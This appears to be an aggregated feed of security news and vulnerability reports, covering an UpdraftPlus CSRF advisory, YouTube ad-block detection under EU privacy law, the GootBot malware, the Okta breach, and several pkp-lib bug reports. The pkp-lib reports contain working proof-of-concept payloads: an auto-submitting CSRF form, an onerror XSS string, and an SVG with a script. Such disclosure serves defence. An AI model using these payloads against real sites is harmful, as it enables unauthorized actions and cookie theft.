The UpdraftPlus: WordPress Backup & Migration Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.23.10. This is due to a lack of nonce validation and insufficient validation of the instance_id on the 'updraftmethod-googledrive-auth' action used to update Google Drive remote storage location. This makes it possible for unauthenticated attackers to modify the Google Drive location that backups are sent to via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This can make it possible for attackers to receive backups for a site which may contain sensitive information.

This record contains material that is subject to copyright.

**Copyright 2012-2023 Defiant Inc.**

**License:** Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant's copyright designation and this license in any such copy. **Read more.**

**Copyright 1999-2023 The MITRE Corporation**

**License:** CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. **Read more.**

Have information to add, or spot any errors? Contact us at wfi-support@wordfence.com so we can make any appropriate adjustments.

CVE-2023-5982: UpdraftPlus <= 1.23.10 - Cross-Site Request Forgery to Google Drive Storage Update — Wordfence Intelligence

A complaint filed with the EU’s independent data regulator accuses YouTube of failing to get explicit user permission for its ad blocker detection system, potentially violating the ePrivacy Directive.

Privacy campaigner Alexander Hanff claims that YouTube’s new ad blocker detection is illegal under European law, and he's taking the fight to the European Commission.

On November 6, German Pirate Party MEP Patrick Breyer addressed Hanff’s claim to the European Commission, formally requesting a legal position as to whether “protection of information stored on the device (Article 5(3) ePR) also cover information as to whether the user's device hides or blocks certain page elements, or whether ad-blocking software is used on the device” and—critically—if this kind of detection is “absolutely necessary to provide a service such as YouTube.”

YouTube began rolling out ad block detection to Europe earlier this year and is now preventing some European users from viewing its content if they have an ad blocker enabled. The EU’s ePrivacy Directive requires online service providers to get explicit permission to “gain access to information stored in the terminal equipment of a subscriber or user.” Hanff, an expert advisor to the European Data Protection Board, alleges that YouTube’s use of JavaScript-based detection scripts to look for specific HTML page elements rendered by a user’s browser is subject to that requirement and he believes it is failing to abide by it.

In a complaint lodged with Ireland's Data Protection Commissioner (DPC), Hanff called on the DPC to “take action against YouTube … for this breach of the law and demand YouTube cease their unlawful deployment of adblocker detection tools.”

Hanff, who helped to draft the forthcoming update to the EU’s ePrivacy regulations, says he believes YouTube’s JavaScript violates EU citizens' privacy.

“The script that \[YouTube\] deploys is detecting what software people are running on their machines or what behaviour their browser is exhibiting in relation to their private activities. It's not okay. It's illegal,” Hanff claims, echoing his complaint. We have a fundamental right to privacy under Article 7 of the European Charter of Fundamental Rights. We have a fundamental right to data protection under Article 8.”

YouTube reportedly started implementing anti-adblock measures in May 2023, and in June was still describing its ad blocker detection as a “experiment.” European users have reported seeing detection messages since at least mid-October. Not every user is affected, and you’ll only see these anti-adblocker messages if you’re signed into your YouTube account.

When YouTube detects an ad blocker or other privacy tool that blocks ads as part of its functions, you'll see a warning stating that “Ad blockers violate YouTube's Terms of Service” or “Ad blockers are not allowed on YouTube.” There are a few different versions of this message, including some that entirely prevent you from playing videos and others that allow you to view a number of videos with your blocker enabled before streaming is blocked.

A pop-up asking you to turn off your ad blocker is hardly an unusual sight on the internet, but could it be against the law?

All versions of YouTube's ad blocker detection that WIRED is aware of use a JavaScript program that runs in the client browser, although YouTube says that it could use non-invasive server-side methods to identify if a video ad served to a user has not been played.

Hanff’s complaint claims that YouTube’s client-side detection code meets the description, in Article 5(3) of the ePrivacy directive 2002/58/EC, of a process used to “gain access to information stored in the terminal equipment of a subscriber or user." If that’s the case, the user must be provided with “clear and comprehensive information” about what this information will be used for and given the “right to refuse such processing.”

You'll be familiar with this process from the cookie consent forms that appear whenever a website wishes to capture non-essential information about you and your browser. Right now, neither an explicit notification nor an opt-out are displayed when YouTube obtains data about whether ad blocking tools may be active on your device or network connection.

YouTube representative Christopher Lawton tells WIRED that “ads support a diverse ecosystem of creators globally and allow billions to access their favorite content on YouTube. The use of ad blockers violate\[s\] YouTube’s Terms of Service.”

YouTube’s current terms, last updated on January 5, 2022, don’t explicitly mention the use of ad blocking tools, nor any detection measures, although a Permissions and Restrictions clause that forbids user activity to “circumvent, disable, fraudulently engage, or otherwise interfere with the Service” could be read as covering this scenario.

But Hanff, who holds an advanced master of laws in privacy, cybersecurity and data management from Maastricht University, maintains that, “under EU Consumer Protection Law, you're not legally allowed to enforce any terms in the contract which infringe on the fundamental rights and freedoms of an EU resident.” The reason cookie consent forms are so intrusive is because consent for device access can’t be bundled up with other terms and conditions.

Breyer, the German MEP, echoes Hanff’s beliefs, telling WIRED that "ad blockers protect us from illegal tracking of our online life and online harms. YouTube's terms and conditions likely violate EU law. YouTube should offer surveillance-free advertising and stop its anti-adblock campaign now."

YouTube obviously wants to make money—that server bandwidth isn't going to pay for itself. In 2022, ad-free YouTube Music and Premium had 80 million subscribers, while YouTube reported ad revenue of $7.95 billion in the third quarter of 2023 alone.

Priced at $13.99 (or €12.99 in Europe), YouTube Premium's primary benefit is ad-free video and music streaming. But if you can use an ad blocker to obtain most of the benefits of a subscription, there's little incentive to pay.

YouTube also needs its content creators to make enough money to justify their efforts. If you don't watch the ads on a video, and aren’t paying for YouTube Premium, the video you’re watching doesn't make any money for its uploader. That includes if you have ads enabled but press the “skip ad” button as soon as it appears on a skippable ad.

YouTube also reserves the right to serve ads on videos by creators who are not in the YouTube Partner Program or under a monetizing agreement, without sharing any revenue from those ads with said creators.

The arguments in favor of ad blocking range from reducing bandwidth consumption to avoiding psychologically harmful ads. (YouTube, for example, runs ads for alcohol, diets, and online casinos.) But the most compelling argument in favor of ad blocking is online security. Security researchers regard online ad networks as a key threat vector when it comes to cybersecurity, and ads on YouTube have previously been cited as serving crypto-mining malware and links to scams and pornographic content.

Most ad-blocking browser extensions look for specific file paths and filenames (such as those in the ad blocking Easylist) being called from within a page, and remove them from the version of the page that is rendered in your browser.

For example, a JavaScript program called “clever\_ads.js” (the name of a script produced by the Clever Ads advertising automation service, which embeds ads in your page) would be identified by the ad blocker and removed, along with any content it would normally load. In the case of YouTube, the ad API returned JSON files, which the ad blockers would replace.

There are a few methods of detecting whether a user is blocking ads, most of which involve another JavaScript program that checks the rendered page for evidence that ad content has been removed. A frequent approach is to have your ad-loading script also insert a JavaScript variable or an HTML element that can be checked for.

Of course, ad blockers can look for and remove the anti-adblocker scripts as well, and that’s what’s happening in the case of blocking tools, such as Adblock Plus and uBlock Origin, that regularly provide extra filters to download and add to the blocker so that it can remove the latest scripts.

But as its anti-adblocker scripts are added to the filter lists, YouTube releases updated versions of those scripts. So now there’s an adblock detection arms race going on, embodied by the “Is YouTube Anti-Adblock Fixed” website, which monitors whether the uBlock Origin browser plugin is successfully circumventing YouTube’s adblock detection or not by comparing a list of YouTube anti-adblocker script IDs with the list of script IDs that are blocked by the plugin.

Fundamentally, the EU says that random websites aren't allowed to rummage around in your stuff without permission. That’s something most people agree on. Google itself forbids Android app developers from using the QUERY\_ALL\_PACKAGES permission, describing a user's installed apps as “personal and sensitive information.”

The question facing the DPC is whether YouTube’s adblock detection scripts are invasive enough to qualify: Is downloading and running a JavaScript routine equivalent to downloading and storing a cookie?

It looks like YouTube intends to argue that it isn’t, and is emphatic that it only seeks to identify whether ads have been served but not played. When WIRED asked the company if it was using or testing server-side ad blocker detection, YouTube’s Lawton said that it was currently carrying out ad blocker detection within YouTube and not on users’ devices. That doesn’t line up with our observations or those of the ad blocker developers, as a JavaScript detection routine on a website has to be run by the browser to function.

Lawton says that YouTube “will of course cooperate fully with any questions or queries from the DPC.”

The Irish Data Protection Commissioner’s office did not provide a comment for this feature, but Hanff says that the DPC has confirmed to him that it’s investigating the case.

YouTube's Ad Blocker Detection Believed to Break EU Privacy Law

By Deeba Ahmed
GootBot: New Gootloader Variant Evades Detection with Stealthy Lateral Movement.
This is a post from HackRead.com Read the original post: IBM X-Force Discovers Gootloader Malware Variant- GootBot

The original Gootloader malware was used by numerous threat groups, including ransomware affiliates and in additional payloads like SystemBC and IcedID.

IBM X-Force has discovered a new variant of the notorious **Gootloader malware**, dubbed GootBot. This malware performs stealthy lateral movement, which complicates the detection or blocking of the campaign within enterprise networks.

According to the **blog post** authored by Golo Mühr and Ole Villadsen, the Gootloader group implements their custom bot in the latter stages of this attack chain to evade detection, using off-the-shelf tools for establishing C2 communication, such as RDP or CobaltStrike.

Gootloader malware was initially used only as an initial access tool and evolved considerably over time to include GootBot, a lightweight obfuscated PS script. It is downloaded after the Gootloader infection and receives commands via C2 through encrypted PowerShell scripts.

For your information, the Gootloader group (aka UNC2565 or Hive0127) first surfaced in 2014 and focused more on SEO poisoning techniques and compromised WordPress websites to distribute the Gootkit-based Gootloader malware. Tanium’s director of endpoint security research, Melissa Bischoping, explained how **SEO poisoning** works. 

One of the hacked websites used in delivered Gootloader malware (Image: Sophos)

“SEO poisoning drives users to malicious payloads by manipulating the search results for key terms. Most security awareness training focuses heavily on phishing and other methods where an attacker sends something to the user. There’s a false sense of security that people place in search result top rankings and an outdated mindset that the lock on the address bar means a site is safe.”

Hackread.com has been following the Gootloader group’s activities since its emergence. The group frequently targets business-related online searchers like queries about legal contracts, creating legit-looking websites, and positioning them on the first page of search results. Once the user visits the page, they entice them into downloading archive files, which appear harmless and relevant to their queries but actually contain Gootloader malware.

In March 2021, Sophos cybersecurity firm **confirmed** that Gootloader has evolved into a sophisticated loader framework from serving as an initial access point, revealing that its delivery method had expanded beyond the Gootkit malware family. As an initial access point, Gootloader malware was used by numerous threat groups, including ransomware affiliates and in additional payloads like SystemBC and IcedID.  

GootBot is a novel Gootloader variant. It is a PowerShell payload encapsulating a single C2 server address. Its strings use a replacement key to conduct mild obfuscation. The malware, just like Gootloader, sends a GET request to the C2 server, requesting PowerShell tasks, and gets a string comprising a Base64-encoded payload.

The last 8 digits of the code are the task’s name. It then decodes the payload and injects it into the script block before executing it. The payload runs asynchronously, maintaining a default beaconing interval of 60 seconds. When it receives a C2 task, the next loop iteration starts, and for completed jobs, the results are returned.

GootBot is designed for lateral movement within the network, noted X-Force researchers. Its C2 infrastructure can quickly generate numerous GootBot payloads for distribution, each having a unique C2 address, and can cause multiple infections of the same host. It also runs a reconnaissance script and contains a unique GootBot ID for the host.

This effective malware lets attackers swiftly propagate across the compromised network to deploy additional malicious software. Unlike Gootloader, GootBot spreads through infected domains to reach the domain controller. This indicates a shift in attack tactics from Gootloader operators and enhances the success rate of post-exploitation stages, including Gootloader-based ransomware affiliate activity.

The malware is capable of extracting domain user name, and OS details from the registry key, checks for x86 dir and int ptr size if 64bit architecture is detected, and obtains information about domain controllers from registry and ENV var, SID, local IP address, hostname, and running processes. The data gets formatted with the specified ID.

The emergence of the GootBot variant highlights that attackers are employing sophisticated methods to stay undetected and spread laterally across the network. Lateral-movement scripts are possible through various techniques, such as WinRM, SMB, and WinAPI calls, to spread the payload to other hosts.

Infection diagram

Organizations must implement advanced security mechanisms, including endpoint detection and response (EDR) solutions and regularly updating software to prevent the threat. Bugcrowd cybersecurity firm’s founder and chief strategy officer, **Casey Ellis**, shared the following statement with Hackread.com regarding the current Gootloader campaign.

“This all strikes me as a very organized and thoughtful initial access broker (IAB). Their watering-hole style deployment of malicious SEO isn’t particularly targeted, however, it suits the opportunistic attack model of an IAB quite well. For defenders, it’s important to remember that organized cybercrime is continuing to evolve, stratify, and mature and that the threat actor behaviours now include this type of long, wide game.”

Keeper Security’s CEO and co-founder, **Darren Guccione**, in an exclusive statement shared with Hackread.com, noted that it is hard for innocent users to distinguish between authentic and fabricated search results, which makes SEO poisoning so successful.

“Innocent people who are not trained on SEO (Search Engine Optimization) and SEO-related attack vectors, including SEO poisoning, generally focus on the aesthetics of the search results page they are familiar with such as the domain name and the logos displayed. Often, threat actors will use language like “Official Website” to lure people into clicking a dangerous link or visiting a spoofed site that can download Gootloader or other malware onto their device.”

However, some scrutiny can prove beneficial in detecting malicious websites, said Guccione. “Phony or spoofed websites will usually have a different website address than the official company name and can also use different domain extensions than the one for the legitimate website. The majority of popular websites use the domain extension .com,” explained Guccione. 

“If you visit a site, pay special attention to the domain itself and if it appears to be abnormally long or unrecognizable based on your normal search activity, it’s best to ignore it – and not click on any link. Online tools such as a Google Transparency Report can also be used to determine whether a site is safe.”

1.  Google Algorithm Updates vs SEO Strategies
2.  How Can SEO Help Increase Website Security?
3.  Google Indexed Trove of Bard AI User Chats in Search Results
4.  Ad-blocker Chrome extension AllBlock injected ads in Google searches
5.  Malicious Chrome, Edge extensions manipulating Google search results

IBM X-Force Discovers Gootloader Malware Variant- GootBot

Okta has concluded that the root cause of its breach was an employee storing company credentials in a private Google account.

Okta has revealed details about a recent breach which exposed files belonging to customers.

As we explained in our article about 1Password being a victim of this breach, it’s normal for Okta support to ask customers to upload a file known as an HTTP Archive (HAR) file. Having this file allows the team to troubleshoot issues by replicating what’s going on in the browser. As such, a HAR file can contain sensitive data, including cookies and session tokens, that cybercriminals can use to impersonate valid users.

After 1Password, BeyondTrust, and Cloudflare detected unauthorized log-in attempts to their in-house Okta administrator accounts, they reported the incidents to Okta who started an investigation.

Okta says it found that from September 28 to October 17, 2023 an attacker had unauthorized access to files inside Okta’s customer support system associated with 134 Okta customers.

The attacker gained access using stolen credentials of a service account stored in the system itself, which had permissions to view and update customer support cases.

To gain access to that service account, the attacker compromised an Okta employee. The employee logged into the service account while they were signed in to their personal Google profile in Chrome on their Okta-managed laptop. That meant that the credentials of the service account were stored in the employee’s personal Google account.

How they got from that account into the attacker’s hands is unknown, but likely the attacker compromised that personal account or one of the employee’s devices fell into the attacker’s hands, from where they could accessed the Google account and harvested the credentials.

Once in, the attacker was able to use session tokens in the HAR files to impersonate staff and hijack the legitimate Okta sessions of five customers, including 1Password, BeyondTrust, and Cloudflare.

Okta says it has now locked down personal Google access on company-managed computers:

> “Okta has implemented a specific configuration option within Chrome Enterprise that prevents sign-in to Chrome on their Okta-managed laptop using a personal Google profile.”

In general, it’s hard to strictly separate the use of devices for work purposes— in a 2020 survey by Malwarebytes, we found that the majority of people do use work devices for personal use. When a device gets assigned to an employee, they consider it more or less as “theirs” and there’s a tendency to start using it for personal matters. Okta could have anticipated this behavior and added additional security measures for such an important account.

A remediation task that is important to note for Okta customers is:

> “Okta has released session token binding based on network location as a product enhancement to combat the threat of session token theft against Okta administrators. Okta administrators are now forced to re-authenticate if we detect a network change. **This feature can be enabled by customers in the early access section of the Okta admin portal.**”

**Data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
*   Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
*   Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.

 Okta breach happened after employee logged into personal Google account 

Cross-Site Request Forgery (CSRF) in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

Valid

**Description**

CSRF led to change permissions of participant in Edit Assignment sessions.

**Proof of Concept**

    Payload: https://drive.google.com/file/d/1dHY9CS6R4mKM4F0im5n1aUxFamMEjbAa/view?usp=sharing
    Video PoC: https://drive.google.com/file/d/1AdDFE_-qOF-EvVEJzzXKguMfr6ZkXXEx/view?usp=drive_link
    

**Impact**

This vulnerability is capable of changing permissions assignments of participant

We are processing your report and will contact the pkp/pkp-lib team within 24 hours. a month ago

We have contacted a member of the pkp/pkp-lib team and are waiting to hear back a month ago

Alec Smecher modified the Severity from Medium (5.4) to Medium (4.3) a month ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

The fix bounty has been dropped

This vulnerability has been assigned a CVE

This vulnerability is scheduled to go public on Nov 1st 2023

to join this conversation

We are processing your report and will contact the pkp/pkp-lib team within 24 hours. a month ago

We have contacted a member of the pkp/pkp-lib team and are waiting to hear back a month ago

Alec Smecher modified the Severity from Medium (5.4) to Medium (4.3) a month ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

The fix bounty has been dropped

This vulnerability has been assigned a CVE

This vulnerability is scheduled to go public on Nov 1st 2023

to join this conversation

CVE-2023-5902: Cross-Site Request Forgery (CSRF) in  in pkp-lib

Cross-site Scripting (XSS) - Stored in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

**Description**

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-II XSS.

**Proof of Concept**

https://drive.google.com/file/d/1ZrzJwy1kKdGPPmkIbU-GOB5Ok\_G3Yywf/view?usp=sharing

**Impact**

This security vulnerability has the potential to steal multiple users' cookies, gain unauthorized access to that user's account through stolen cookies, or redirect the user to other malicious websites...

CVE-2023-5903: STORED XSS in Journal-> Sections in pkp-lib

**BUG**

Stored xss using journal-name in journal-tab

**ACCOUNT**

1\. user-A --> superadmin --> Victim --> Firefox browser Normal mode  
2\. user-B --> journal manager --> Attacker --> Firefox browser Container-1\\

**STEP TO RERPODUCE**

1\. From user-A account create a journal called "journal-A".

2\. Add user-B to this journal as "journal manager" .i already did

3\. Login into user-B account and change journal name to xss payloadxss"'><img src=x onerror=alert(document.domain)>

4\. from user-A account open journal-statistics in http://localhost/ojs-3.4.0-3/index.php/xss/stats/context/context and see xss is executed \\

**IMPACT**

Using this xss attacker(user-B) can execute any javascript code in victim(user-A) account . And can full control over the victim account by executing any javascript code

**VIDEO POC**

https://drive.google.com/file/d/1iA456XdYaWe7qgkkkhp\_I3Wzlr8fn2Re/view?usp=sharing

**Impact**

Using this xss attacker(user-B) can execute any javascript code in victim(user-A) account . And can full control over the victim account by executing any javascript code

CVE-2023-5904: Stored xss using journal-name in journal-tab in pkp-lib

Cross-Site Request Forgery in GitHub repository pkp/pkp-lib prior to 3.3.0-16.



Description

CSRF Delete Navigation Menu Items

Proof of Concept

1 .Attack sends fake requests to users

    <html>
       <body>    
     <form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-journal/$$$call$$$/grid/navigation- 
       menus/navigation-menu-items-grid/delete-navigation-menu-item">      
      <input type="hidden" name="navigationMenuItemId" value="330" />    
      <input type="hidden" name="csrfToken" value="" />     
      <input type="submit" value="Submit request" />
     </form>
     <script>
           history.pushState('', '', '/');
            document.forms[0].submit();
           </script>
        </body>
      </html>
    

2 .User click, deletes unwanted Navigation Menu Items

Payload Poc

https://drive.google.com/file/d/15cjZ2oBeBmUx-C9\_kRqBXKMXLX8LU5Ew/view?usp=sharing

Video Poc

https://drive.google.com/file/d/1Bp1M3ifN9rXdxhjfyAIibmy0QFhYluEu/view?usp=sharing

**Impact**

Trick users to do unintended actions.

CVE-2023-5900: CSRF Delete Navigation Menu Items in pkp-lib

Cross-site Scripting in GitHub repository pkp/pkp-lib prior to 3.3.0-16.



**Description**

I tested the demo site you provided. I see that there is a file upload vulnerability which can lead to XSS. Hope you check and find a solution as soon as possible.

**Proof of Concept**

link video Poc

https://drive.google.com/file/d/1LAcTulbfhGJfCmWdIel9e-Sk\_\_uoQbDq/view?usp=sharing

**Steps**

1 .Login as account demo

2 .Access the module issues

3 .Then create an issue

4 .Upload an SVG file with the following content:

             <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
                 <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
                 <script type="text/javascript">
                         alert(document.cookie);
                 </script>
              </svg>
    

5 .Save the issue and access the newly created issue, then access the just uploaded SVG file and the payload will be executed

**Impact**

XSS (Cross-Site Scripting) is a type of web security vulnerability caused by improper input validation and inadequate data sanitization in a web application. It occurs when an attacker injects malicious scripts (usually in the form of HTML or JavaScript) into a website's database or storage, which is then fetched and displayed to unsuspecting users. These scripts are executed in the browsers of those who visit the infected page, enabling the attacker to steal sensitive information, such as login credentials or personal data, and potentially take control of the user's account or perform malicious actions on their behalf. To prevent stored XSS, developers must implement proper input validation and output encoding to ensure that user-supplied data is treated as plain text and not executed as code on the web page.

CVE-2023-5901: Cross-Site Scripting ( XSS) Via file upload in pkp-lib

By Waqas
Some of the most prominent victims of the data breach include Cloudflare, 1Password, and BeyondTrust.
This is a post from HackRead.com Read the original post: Okta Breach Linked to Employee’s Google Account, Affects 134 Customers

Okta’s investigation determined the breach to be associated with a Google account belonging to one of the company’s employees.

In a recent update following the initial data breach announcement made in October 2023, Okta, a prominent identity and access management (IAM) provider, disclosed that the number of affected customers has now reached 134. This breach enabled threat actors to gain unauthorized access to files.

“Some of these files were HAR files that contained session tokens which could in turn be used for session hijacking attacks,” David Bradbury, Okta’s chief security officer explained in Friday’s November 4th update.

Between September 28 and October 17, 2023, Okta encountered a sophisticated attack, wherein a threat actor accessed Okta’s support case management system by compromising a stolen account. Afterwards, the threat actor gained the ability to view, update support cases, and extract sensitive data, which included session tokens.

On October 19, Okta became aware of the breach following a notification from one of its customers, BeyondTrust, regarding suspicious activities. Among the prominent customers affected by the breach are Cloudflare and 1Password. Pedro Canahuati, the CTO of 1Password, disclosed the incident, confirming that threat actors were unable to access or extract user data during the attack.

****Google Account Connection****

Originally, the incident was thought to occur as a threat actor accessed an IT employee’s Okta session token by leveraging a stolen credential, thus gaining entry into 1Password’s Okta administrative portal. However, Bradbury later revealed that the investigation determined the breach to be associated with a Google account belonging to one of the company’s employees.

“Okta Security identified that an employee had signed-in to their personal Google profile on the Chrome browser of their Okta-managed laptop,” Bradbury said. “The username and password of the service account had been saved into the employee’s personal Google account. The most likely avenue for exposure of this credential is the compromise of the employee’s personal Google account or personal device.”

As to why it took two weeks for Okta to address the issue, Bradbury further explained that “Okta didn’t find any suspicious downloads in their system logs.” They noted that when someone looks at files attached to a support case, there’s a special record in their logs. But if a person goes directly to the Files section in the customer support system, it creates a different record. The attackers used this method in their attack.

“Okta first looked into access to support cases and then checked the logs related to those cases. On October 13, 2023, BeyondTrust gave Okta Security an IP address linked to the attackers. With this information, Okta found more file access events tied to the compromised account,” said Bradbury.

In a comment to Hackread.com, Tal Skverer, Research Team Lead at Astrix Security, discussed the use of personal accounts on devices issued by the company stating that “Service accounts skip security measures that normal accounts are subject to, such as MFA, therefore; their credentials are extremely vulnerable.”

“It is with utmost importance that service accounts follow the least privilege principle. Skverer emphasised. “To limit their permissions, their usage should be limited to very unique functionalities.”

The Okta breach is a major concern for the cybersecurity community, as Okta is a trusted IAM provider for many organizations, including Fortune 500 companies and government agencies. The breach also highlights the growing sophistication of threat actors and the need for organizations to take steps to protect their data from increasingly targeted attacks.

Nevertheless, the latest security breach at Okta serves as the second cyberattack on the company. In March 2022, LAPSUS$ hackers claimed to have breached Okta and Microsoft after leaking a trove of their data on Telegram.

****What Organizations Can Do to Protect Themselves****

Organizations can take a number of steps to protect themselves, including:

*   **Implement strong password policies and require users to use multi-factor authentication (MFA).** MFA adds an extra layer of security to user accounts by requiring users to provide a second form of authentication, such as a code from their phone, in addition to their password.
*   **Regularly update security software and patches.** Software developers release security updates to patch known vulnerabilities. By regularly updating their software and patches, organizations can help to reduce the risk of being exploited by attackers.
*   **Educate employees about cybersecurity best practices.** Employees should be trained on how to identify and avoid phishing attacks, and how to protect their devices and data.
*   **Monitor their systems for suspicious activity.** Organizations should have systems in place to monitor their systems for suspicious activity, such as unusual login attempts or data exfiltration.

1.  IBM Notifies Janssen CarePath Customers of Data Breach
2.  Human Error: Casio ClassPad Data Breach Impacting 148 Countries
3.  Sony Data Breach via MOVEit Vulnerability Affects Thousands in US
4.  Fake Bitwarden Password Manager Website Drops Windows ZenRAT
5.  Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms
6.  Passwords by Kaspersky Password Manager exposed to brute-force attack

Tag

#google